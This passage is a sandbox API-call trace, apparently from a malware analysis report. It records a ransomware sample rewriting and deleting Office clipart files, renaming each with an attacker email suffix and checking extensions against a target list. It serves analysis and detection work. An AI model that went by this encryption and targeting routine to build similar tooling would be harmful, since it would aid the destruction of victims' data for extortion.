Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0210.341] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.341] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0210.342] GetLastError () returned 0x0 [0210.342] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x42a4, lpOverlapped=0x0) returned 1 [0210.345] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x42b0, lpOverlapped=0x0) returned 1 [0210.347] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.347] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.347] SetEndOfFile (hFile=0x3a0) returned 1 [0210.347] CloseHandle (hObject=0x3a0) returned 1 [0210.347] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.347] SetEndOfFile (hFile=0x380) returned 1 [0210.348] CloseHandle (hObject=0x380) returned 1 [0210.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0210.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.350] lstrlenW (lpString=".doc") returned 4 [0210.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.350] lstrlenW (lpString=".docx") returned 5 [0210.350] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.350] lstrlenW (lpString=".pdf") returned 4 [0210.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.350] lstrlenW (lpString=".xls") returned 4 [0210.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.350] lstrlenW (lpString=".xlsx") returned 5 [0210.350] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.350] lstrlenW (lpString=".ppt") returned 4 [0210.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.350] lstrlenW (lpString=".zip") returned 4 [0210.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.350] lstrlenW (lpString=".rar") returned 4 [0210.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.350] lstrlenW (lpString=".bz2") returned 4 [0210.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.350] lstrlenW (lpString=".7z") returned 3 [0210.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.350] lstrlenW (lpString=".dbf") returned 4 [0210.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.351] lstrlenW (lpString=".1cd") returned 4 [0210.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.351] lstrlenW (lpString=".jpg") returned 4 [0210.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.351] lstrlenW (lpString=".doc") returned 4 [0210.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.351] lstrlenW (lpString=".docx") returned 5 [0210.351] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.351] lstrlenW (lpString=".pdf") returned 4 [0210.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.351] lstrlenW (lpString=".xls") returned 4 [0210.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.351] lstrlenW (lpString=".xlsx") returned 5 [0210.351] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.351] lstrlenW (lpString=".ppt") returned 4 [0210.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.352] lstrlenW (lpString=".zip") returned 4 [0210.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.352] lstrlenW (lpString=".rar") returned 4 [0210.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.352] lstrlenW (lpString=".bz2") returned 4 [0210.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.352] lstrlenW (lpString=".7z") returned 3 [0210.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.352] lstrlenW (lpString=".dbf") returned 4 [0210.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.352] lstrlenW (lpString=".1cd") returned 4 [0210.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0210.352] lstrlenW (lpString=".jpg") returned 4 [0210.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.352] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.352] lstrlenW (lpString="J0105360.WMF") returned 12 [0210.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0210.353] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=8860) returned 1 [0210.353] CloseHandle (hObject=0x380) returned 1 [0210.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0210.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0210.354] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.354] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0210.355] GetLastError () returned 0x0 [0210.355] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x229c, lpOverlapped=0x0) returned 1 [0210.356] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x22a0, lpOverlapped=0x0) returned 1 [0210.357] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.358] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.358] SetEndOfFile (hFile=0x3a0) returned 1 [0210.358] CloseHandle (hObject=0x3a0) returned 1 [0210.358] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.358] SetEndOfFile (hFile=0x380) returned 1 [0210.359] CloseHandle (hObject=0x380) returned 1 [0210.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0210.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.360] lstrlenW (lpString=".doc") returned 4 [0210.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.360] lstrlenW (lpString=".docx") returned 5 [0210.360] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.360] lstrlenW (lpString=".pdf") returned 4 [0210.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.360] lstrlenW (lpString=".xls") returned 4 [0210.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.360] lstrlenW (lpString=".xlsx") returned 5 [0210.360] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.360] lstrlenW (lpString=".ppt") returned 4 [0210.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.360] lstrlenW (lpString=".zip") returned 4 [0210.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.360] lstrlenW (lpString=".rar") returned 4 [0210.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString=".bz2") returned 4 [0210.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString=".7z") returned 3 [0210.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.361] lstrlenW (lpString=".dbf") returned 4 [0210.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.361] lstrlenW (lpString=".1cd") returned 4 [0210.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.361] lstrlenW (lpString=".jpg") returned 4 [0210.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.361] lstrlenW (lpString=".doc") returned 4 [0210.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString=".docx") returned 5 [0210.361] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.361] lstrlenW (lpString=".pdf") returned 4 [0210.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.361] lstrlenW (lpString=".xls") returned 4 [0210.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.361] lstrlenW (lpString=".xlsx") returned 5 [0210.361] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.361] lstrlenW (lpString=".ppt") returned 4 [0210.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.362] lstrlenW (lpString=".zip") returned 4 [0210.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.362] lstrlenW (lpString=".rar") returned 4 [0210.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.362] lstrlenW (lpString=".bz2") returned 4 [0210.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.362] lstrlenW (lpString=".7z") returned 3 [0210.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.362] lstrlenW (lpString=".dbf") returned 4 [0210.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.724] lstrlenW (lpString=".1cd") returned 4 [0210.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0210.724] lstrlenW (lpString=".jpg") returned 4 [0210.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.724] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.724] lstrlenW (lpString="J0105410.WMF") returned 12 [0210.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.725] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=20444) returned 1 [0210.725] CloseHandle (hObject=0x394) returned 1 [0210.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0210.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.725] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.725] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.727] GetLastError () returned 0x0 [0210.727] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0210.728] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0210.729] ReadFile (in: hFile=0x394, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.730] WriteFile (in: hFile=0x370, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.730] SetEndOfFile (hFile=0x370) returned 1 [0210.730] CloseHandle (hObject=0x370) returned 1 [0210.730] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.730] SetEndOfFile (hFile=0x394) returned 1 [0210.732] CloseHandle (hObject=0x394) returned 1 [0210.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0210.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.733] lstrlenW (lpString=".doc") returned 4 [0210.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.733] lstrlenW (lpString=".docx") returned 5 [0210.733] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.733] lstrlenW (lpString=".pdf") returned 4 [0210.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.733] lstrlenW (lpString=".xls") returned 4 [0210.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.733] lstrlenW (lpString=".xlsx") returned 5 [0210.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.733] lstrlenW (lpString=".ppt") returned 4 [0210.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.734] lstrlenW (lpString=".zip") returned 4 [0210.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.734] lstrlenW (lpString=".rar") returned 4 [0210.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString=".bz2") returned 4 [0210.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString=".7z") returned 3 [0210.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.734] lstrlenW (lpString=".dbf") returned 4 [0210.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.734] lstrlenW (lpString=".1cd") returned 4 [0210.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.734] lstrlenW (lpString=".jpg") returned 4 [0210.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.734] lstrlenW (lpString=".doc") returned 4 [0210.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.734] lstrlenW (lpString=".docx") returned 5 [0210.734] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.734] lstrlenW (lpString=".pdf") returned 4 [0210.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.735] lstrlenW (lpString=".xls") returned 4 [0210.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.735] lstrlenW (lpString=".xlsx") returned 5 [0210.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.735] lstrlenW (lpString=".ppt") returned 4 [0210.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.735] lstrlenW (lpString=".zip") returned 4 [0210.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.735] lstrlenW (lpString=".rar") returned 4 [0210.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.735] lstrlenW (lpString=".bz2") returned 4 [0210.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.735] lstrlenW (lpString=".7z") returned 3 [0210.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.735] lstrlenW (lpString=".dbf") returned 4 [0210.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.735] lstrlenW (lpString=".1cd") returned 4 [0210.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0210.735] lstrlenW (lpString=".jpg") returned 4 [0210.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.735] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.736] lstrlenW (lpString="J0105412.WMF") returned 12 [0210.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.736] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=9400) returned 1 [0210.736] CloseHandle (hObject=0x394) returned 1 [0210.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0210.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.737] 